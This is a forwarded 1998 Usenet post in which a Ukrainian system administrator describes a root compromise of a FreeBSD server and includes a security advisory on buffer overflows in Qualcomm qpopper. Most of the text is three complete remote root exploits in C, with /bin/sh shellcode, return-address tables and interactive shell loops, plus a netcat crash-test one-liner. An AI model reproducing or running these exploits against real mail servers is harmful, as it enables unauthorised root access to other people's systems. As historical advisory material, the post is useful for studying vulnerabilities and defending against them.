(fwd) Attack

Andrey Gerzhov (kittle@freeland.alex-ua.com)
Thu, 9 Jul 1998 00:24:59 +0300 (EEST)

-- forwarded message --
Path: barmaglot.alex-ua.com!news.alexradio.kiev.ua!glukr!base.infocom.khmelnitskiy.ua!base.infocom.khmelnitskiy.ua!not-for-mail
From: maxim@ns.km.ua (maxim)
Newsgroups: ukr.nodes
Subject: Attack
Date: 8 Jul 1998 10:51:46 +0300
Organization: unknown
Lines: 442
Distribution: su
Message-ID: <AAuJoerSR0@ns.km.ua>
Reply-To: maxim@ns.km.ua
NNTP-Posting-Host: base.infocom.khmelnitskiy.ua
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit
X-Return-Path: maxim@ns.km.ua
Xref: barmaglot.alex-ua.com ukr.nodes:4932

Приветсвую Вас!

Была пробита машина ns.km.ua
Работал человек очень чисто.
в логах почти ничего не осталось.
предположительно пробой был по ниже идущему эксплоиту,
но предположение основывается на том, что ns.km.ua пробивался
по этому эксплоиту. После получения рутового шела
человек подменил /usr/bin/login и что-то еще.
подменил так, что даже реальный рут не смог удалить/заменить
этот файл. для особо интересующихся могу прислать его.
Для справки: попытки что-либо сделать с /usr/bin/login
оканчивались Operation not permitted не только в синглюсер моде,
но и при попытке загрузки с дискет 2.1.0, 2.2.6 (на пробитой
машине была FreeBSD 2.2.5)
Вопрос пришлось решать кардинально преустановкой фри.
Да, пробой по всей вероятности происходил с
автоответных стволов cityline.ru со взломанного там аккаунта.
А вот тот самый эксплоит:

COMMAND

popper

SYSTEMS AFFECTED

Systems running Qualcomm popper 2.41beta1 and prior

PROBLEM

Several vulerabilities have been found regarding Qualcomm popper.
Those vulnerabilities may lead to remote exploitation. Here's a
brief info.

By Seth McGann:
===============
The most obvious offender is the vsprintf() on line 66 of
pop_msg.c.

By Miquel van Smoorenburg
=========================
Buffer overflow in X-UIDL processing (compromise an account by
sending mail to it ..) The UIDL handling in pop_dropcopy.c can
potentially later result in a buffer overflow. Overflow actually
ocurrs in pop_udil.c and the prevention of the overflow is by
limiting the uidl length in pop_dropcopy.c. Overflow is possible
because both data from the X-UIDL header and the from line are
combined in one sprintf().

By Aaron D. Gifford (appendum to Miquel van Smoorenburg finding)
================================================================
Further investigation resulted in another potential overflow in
pop_uidl.c that can occur even when uidl length is limited to 128
chars. The potential overflow can occur in the pop_euidl()
function in two different spots where this code appears:

sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %s", buffer, mp->length, from_hdr(p, mp));

Even with mp->uidl_str limited to 128 chars, the from_hdr(p, mp)
code can return the text from a message's "From:" header which
could then overflow the buffer. Also, the from_hdr() function in
the pop_uidl.c file returning a pointer to a non-static buffer?
That's wrong, is it not? It is defined:

char buf[MAXLINELEN], *cp;

Should it not instead be:

char * cp;
static char buf[MAXLINELEN];

by John Fraizer
===============
After applying all the patches with exception of the PAM patch in
the .RPM'd version of qpopper2.4.src, he has located yet another
hole in qpopper. This popper was compiled with -DAUTH in the
makefile. Connecting to the popper and sending a line of garbage
will now generate the maximum permitted size error. Providing an
INVALID username and sending a line of garbage (1000+ chars), does
not segfault, but with VALID username will seg fault. Looks like
basically that if the parser sees that the command was actually a
password argument, it doesn't send it through the truncate code.

To see if you're vulnerable:

perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110

Of course, assuming you have netcat (nc) on your system... if not,
just telnet to your server and paste something like 20 lines of
solid characters into your telnet window... You'll get the -ERR
response back... at which point unpatched servers should core
dump... and you get "Connection closed by foreign host." Stock
BSDi 3.0(3.1) all the latest patches(M310-034) DOES core dump, but
does not print out the 'ERR', so BSDi people may want to keep that
in mind.

Herbert Rosmanith posted exploit. Note that, after "qpush" has
successfully executed /bin/sh, you will not see any prompt. type
"id" to see who you are, like that:

$ ./qpush technix.oeh
фю ©фю ©фю ©фю ©фю ©
id
uid=0(root) gid=0(root)

Before exploit, more info about him (regarding only first one,
after there's another for Linux and one for BSDish systems):
o target architecure: that's the architecure where popper runs.
this must be ix86-linux. Will not work on FreeBSD or any other
OS.
o 'local' architecure: that's the programm to run 'qpush' on.
this can be anything you want, but mind that on other systems
than linux, you may have to add header files and/or libaries.
don't forget to byte-swap (ntohl()) the addrlist entries on
big endian machines.
o debian QPOP v2.2 seems to be immune to 'qpush' ?
o if you have compiled popper yourself, the return adresses in
"addrlist" may not match your binary. try altering these
adresses.
o 'qpush' at least works for suse-linux qpopper v2.2 (same binary
every- where). suse has been mailed about that.
o I've check qpush with several homebrewed binaries and found that

long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffeb80 /*2.41beta1*/
}

will work better than the "0xbfffec18 /*2.41beta1*/"
before. Blah, here's the exploit:

/* qpush: qualcom popper buffer overflow exploit (pop_msg)
* Mon Jun 29 01:26:06 GMT 1998 - herp
* Herbert Rosmanith
* herp@wildsau.idv.uni-linz.ac.at
*/

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>

long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffec2c /*2.41beta1*/
};

char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh.........";

void die(char *s) {
if (errno) perror(s);
else fprintf(stderr,"%s\n",s);
exit(-1);
}

void usage() {
printf("qpush [-index] <hostname>\n"
" -0 QPOP Version 2.2 (default)\n"
" -1 QPOP Version 2.41beta1\n");
exit(0);
}

int resolv(char *host,long *ipaddr) {
if (isdigit(host[0])) {
*ipaddr=inet_addr(host);
if (*ipaddr==-1) return -1;
}
else {
struct hostent *hp;
if ((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"tc: %s: unknown host\n");
exit(-1);
}
*ipaddr=*(unsigned long *)hp->h_addr;
}
return 0;
}

int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;

s=socket(PF_INET,SOCK_STREAM,0);
if (s==-1) die("socket");

if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
die("unknown host");
s_in.sin_family=AF_INET;
s_in.sin_port=htons(port);

if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
die("connect");

return s;
}

void socket_read(int s,char *buf,int len) {
int i;
switch(i=read(s,buf,len)) {
case -1: die("unexpected EOF");
case 0: die("EOF");
default:
buf[i]=0;
//printf("%s",buf);
break;
}
}

void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;

for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
for (;;) {
memcpy(&rfds,&fds,sizeof(fds));
i=select(s+1,&rfds,NULL,NULL,NULL);
if (i==-1) die("select");
if (i==0) die("session closed");
if (FD_ISSET(s,&rfds)) {
if ((i=read(s,buf,sizeof(buf)))<1)
die("session closed");
write(1,buf,i);
}
if (FD_ISSET(0,&rfds)) {
if ((i=read(0,buf,sizeof(buf)))<1)
die("session closed");
write(s,buf,i);
}
}
}

void main(int argc,char *argv[]) {
char buf[1024+128];
int s,i,ix;

if (argc>=2 && argv[1][0]=='-') {
ix=atoi(&argv[1][1]);
argc--;
argv++;
}
else ix=0;

if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
usage();

s=connect_to(argv[1],110); /* WKS POP3 */
socket_read(s,buf,sizeof(buf));
memset(buf,0x90,sizeof(buf));
for (i=981;i<981+10*4;i+=4)
memcpy(&buf[i],&addrlist[ix],4);
memcpy(&buf[941],shellcode,strlen(shellcode));
buf[sizeof(buf)-3]=0x0d;
buf[sizeof(buf)-2]=0x0a;
buf[sizeof(buf)-1]=0x00;
write(s,buf,sizeof(buf));
socket_read(s,buf,sizeof(buf));
terminal(s);
}

Another example:

/* Exploit for qpopper 2.4 (and others) for Linux
* by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
*
* usage: (./qpopper <offset>;cat)|nc <victim> 110
* with offset around 1000 (try increments of 50)
*
*
* shout outs to: Zef and YZF
*/

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 998

char shell[] =
"\xeb\x33\x5e\x89\x76\x08\x31\xc0"
"\x88\x66\x07\x83\xee\x02\x31\xdb"
"\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
"\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
"\xee\x02\x8d\x5e\x0e\x89\xda\x83"
"\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
"\xff\xff/bin/sh";

unsigned long esp()
{
__asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
int i,j,offset;
unsigned long eip;
char buffer[4096];

j=0;
offset=atoi(argv[1]);
eip=esp()+offset;
for(i=0;i<1008;i++) buffer[i]=0x90;
for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

i=1005;
buffer[i]=eip & 0xff;
buffer[i+1]=(eip >> 8) & 0xff;
buffer[i+2]=(eip >> 16) & 0xff;
buffer[i+3]=(eip >> 24) & 0xff;

printf("%s\nsh -i\n",buffer);
}

BSDish example of exploit:

/*
* QPOPPER - remote root exploit
* by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
*
* - tested against: FreeBSD 3.0
* FreeBSD 2.2.x
* BSDI BSD/OS 2.1
* - offsets: FreeBSD with qpopper 2.3 - 2.4 0
* FreeBSD with qpopper 2.1.4-R3 900
* BSD/OS with qpopper 2.1.4-R3 1500
*
* this is for EDUCATIONAL purposes ONLY
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#include <sys/errno.h>

char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
"\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
"\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
"\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
"\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
"\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define ADDR 0xefbfd504
#define OFFSET 0
#define BUFLEN 1200

char buf[BUFLEN];
int offset=OFFSET;

int sock;
struct sockaddr_in sa;
struct hostent *hp;

void main (int argc, char *argv[]) {
int i;

if(argc<2) {
printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
exit(0);
}
if(argc>2)
offset=atoi(argv[2]);

/* Prepare buffer */
memset(buf,0x90,BUFLEN);
memcpy(buf+800,shell,strlen(shell));
for(i=901;i<BUFLEN-4;i+=4)
*(int *)&buf[i]=ADDR+offset;
buf[BUFLEN]='\n';

/* Resolve remote hostname & connect*/
if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
perror("gethostbyname()");
exit(0);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("socket()");
exit(0);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(110);
memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
perror("connect()");
exit(0);
}
printf("CONNECTED TO %s... SENDING DATA\n",argv[1]); fflush(stdout);
/* Write evil data */
write(sock,buf,strlen(buf));

/* Enjoy root shell ;) */
while(1) {
fd_set input;

FD_SET(0,&input);
FD_SET(sock,&input);
if((select(sock+1,&input,NULL,NULL,NULL))<0) {
if(errno==EINTR) continue;
printf("CONNECTION CLOSED...\n"); fflush(stdout);
exit(1);
}
if(FD_ISSET(sock,&input))
write(1,buf,read(sock,buf,BUFLEN));
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}

SOLUTION

A patched qpopper2.52 is made available at:

ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.52.tar.Z

Please upgrade or patch your server if you are running any qpopper
older than 2.52.

-- end of forwarded message --

-- 
С тем, что не помешает никогда,
                                               Kittle